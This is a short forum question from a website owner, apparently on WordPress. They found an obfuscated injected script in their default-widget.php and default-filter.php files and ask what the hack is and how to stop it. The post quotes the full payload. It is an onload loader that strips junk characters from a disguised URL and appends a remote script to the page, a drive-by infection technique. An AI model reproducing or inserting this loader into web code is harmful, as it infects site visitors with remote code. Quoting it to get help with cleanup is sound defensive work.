Cause of the error in the default-widget.php and default-filter.php

hello, can i ask what is the meaning of this code:

<script>/*GNU GPL*/ try{window.onload = function(){var B2z6bl10xv = document.createElement(‘script’);B2z6bl10xv.setAttribute(‘type’, ‘text/javascript’);B2z6bl10xv.setAttribute(‘src’, ‘h@^t(t)p!#^^:^#$/@&((&/#&^!!t$w$(e(^@e&(&t^(&(m^#e$$m$$!e##-@@c&&#!@o@&m)$&.)!()r@e(!#$d$)(i)@$f@!f^&^.)##c@o^@(m&!^.&)@g)o@^^!o)g^#^@l^e)##-$^)!!c!#o&!m#)&(-&b)$d^.^!s(@!i$&&!&m!p)!#!l(!((e@@@w)!o!&r@&^^l#d^)$h@^@(o@!&^u$s@(e!!).)&r(!$u^$:(8#$^0^(($8@$0)()/^&!g^!@(^o$!#o&#g@&!!^l#@$&e$@.(c(#!o^m))/(!g^o&)!o(g)@l!e@)$.(@@c!o$^m)/$@d@&((r$e&)(a!)$m$@s##t)^(#i&^(!#m#)e&)&.)##$c@o@()m@!/@^^a#^#@$t^!t)#.@!@#n#e!(#t)&/@(s(!h!^i$(&n@##)o$#b$(!$i(@$.#@j^)^)p$@/$@)’.replace(/\)|&|\!|\(|\$|\^|#|@/ig, ”));B2z6bl10xv.setAttribute(‘defer’, ‘defer’);document.body.appendChild(B2z6bl10xv);}} catch(e) {}</script>

it is the cause of syntax error in the default-widget.php and default-filter.php

what kind of hacking they use for this code??

how can i prevent this kind of attack??